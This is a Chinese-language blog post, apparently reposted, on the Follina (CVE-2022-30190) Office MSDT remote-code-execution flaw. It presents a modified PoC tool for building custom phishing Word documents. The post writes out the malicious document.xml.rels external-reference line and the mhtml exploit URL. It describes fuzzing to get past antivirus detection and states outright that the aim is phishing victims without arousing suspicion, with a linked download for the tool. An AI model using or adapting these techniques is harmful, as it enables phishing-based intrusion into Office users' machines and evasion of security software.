CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

虚幻大学 xuhss 147℃ 0评论

? 优质资源分享 ?

学习路线指引(点击解锁) 知识定位 人群定位
? Python实战微信订餐小程序 ? 进阶级 本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。
?Python量化交易实战? 入门级 手把手带你打造一个易扩展、更安全、效率更高的量化交易系统

昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。

也可以从我的github上下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

1|*0***1.复现**

使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀
f60f3ef427bb41a884b030684ca9a40e - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
ea0c2e4cf70f43e29f9d05bca0335178 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
bf4c61cbba2d420cbf6c308689b5aab0 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

2|*0***2. 分析poc**

主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接
eb9a340b6fee4d4fbafddf1549d36ebf - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
远程html中放着ms-msdt:/协议写的HTML
504192aee1fb46a696989a2368cc248b - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
最后将文件压缩打包成docx。

3|*0***3. Fuzz**

第一种
分析后可知只是在word的word/_rels修改了document.xml.rels文件
应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。

第二种
生成的clickme.docx 不修改的情况下,可以多次触发,只要修改就不能触发了
7cb5085b36f04ecba74d1d1d291b0ecc - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
第三种
修改document.xml.rels 文件名不行,依然查杀

第四种fuzz内容
查杀的是请求外链,http字样就会查杀
005d377776954da3be4e3cd4633052c2 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
换成
http://localhost:80/exploit.html!

就可以了

但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。

4|*0***4.再分析**

4|*1***4.1.word结构和poc分析**

a8bbd253cede44cbb0c7384f9ec0c558 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
word文件结构:

.
├── [Content\_Types].xml // 描述的是整个文档的内容。把各个XML文件组合成一个整体
├── \_rels // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 \_rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子
├── docProps // 记录docx文档的主要属性信息
│ ├── app.xml // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息
│ └── core.xml // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息
└── word
 ├── \_rels
 │ └── document.xml.rels
 ├── charts
 │ ├── \_rels
 │ │ ├── chart1.xml.rels \\ 映射表存放文件文本框文件的位置
 │ ├── chart1.xml
 │ ├── colors1.xml
 │ ├── colors2.xml
 │ ├── style1.xml
 │ ├── style2.xml
 ├── document.xml // 文档中所有可见文字的内容和属性及不可见部分的内容和属性
 ├── embeddings
 │ ├── Microsoft\_Excel\_Worksheet.xlsx
 │ ├── Microsoft\_Excel\_Worksheet1.xlsx
 │ ├── oleObject1.bin // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。
 │ ├── oleObject2.bin
 │ ├── oleObject3.bin
 │ ├── oleObject4.bin
 ├── endnotes.xml 
 ├── fontTable.xml // 文档所使用的字体信息
 ├── footer1.xml
 ├── footer2.xml
 ├── footnotes.xml // 文档中脚注部分信息
 ├── header1.xml
 ├── header2.xml
 ├── media // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等
 │ ├── image1.emf
 │ ├── image2.png
 │ ├── image3.jpeg
 │ ├── image4.wmf
 │ ├── image5.emf
 ├── numbering.xml // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息
 ├── settings.xml // 文档的总体设置信息
 ├── styles.xml // Word的样式信息,定义样式的展示优先级以及段落、表格等样式
 ├── theme // 文档的主题的所有信息,如颜色、字体大小
 │ ├── theme1.xml
 │ ├── themeOverride1.xml
 │ └── themeOverride2.xml
 └── webSettings.xml // 文档左右间距等的样式信息

分析word的目录结构,了解到Word/document.xml 是文件的内容
[Content_Types].xml存储的是part名称和类型
每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。
1e9ce914e04140308ae340c490ccc3c9 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
Poc脚本的模板使用的rid是1337,控制修改在documen.xml中如下修改改成了1111
da908c03c362491c833039d7bb3eab66 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
然后 document.xml.rels 对应修改成了之后就可以使用了

4|*2***4.2.关于文件内容**

通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可
填上如下部分即可
ce7a990cf41d481e8d351722f2de2624 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
0efbcc141e684254a5b356cc7f4c697b - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。

Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自创模板,并触发漏洞
b832418eeb224216a83bbdb36e0ffd4f - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

4|*3***4.3.静态免杀**

8fc6fdc210b14d958131ac16c11f748f - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
上线测试
1e7ab299aab3413fb25ceb57460401af - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
最后编写了自定义word模板的脚本:
9223a4a764e44bfc97a641bd90fe2a3e - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
1ed5ba4a0dfd4e73846a47800f089a7a - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
​工具下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

5|*0***技术交流**

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
d1b36a819497a325c3aae97f2e5f0de0 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
e4b0274118794590501b995283553ec8 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

知识星球
团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。
e6a082213aed2e8335f8373c629d589a - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
fe651fb64119ee40168c34f561e839ce - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
25a65434daa63f9bddfb6e2437d877d0 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】
089dee8616299c323fd1b07c87f98749 - CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

__EOF__

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QS7cfngZ-1655527373302)(https://blog.csdn.net/forforever/p/16370895.html)]komomon 本文链接:https://blog.csdn.net/forforever/p/16370895.html关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!

转载请注明:xuhss » CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

喜欢 (0)

您必须 登录 才能发表评论!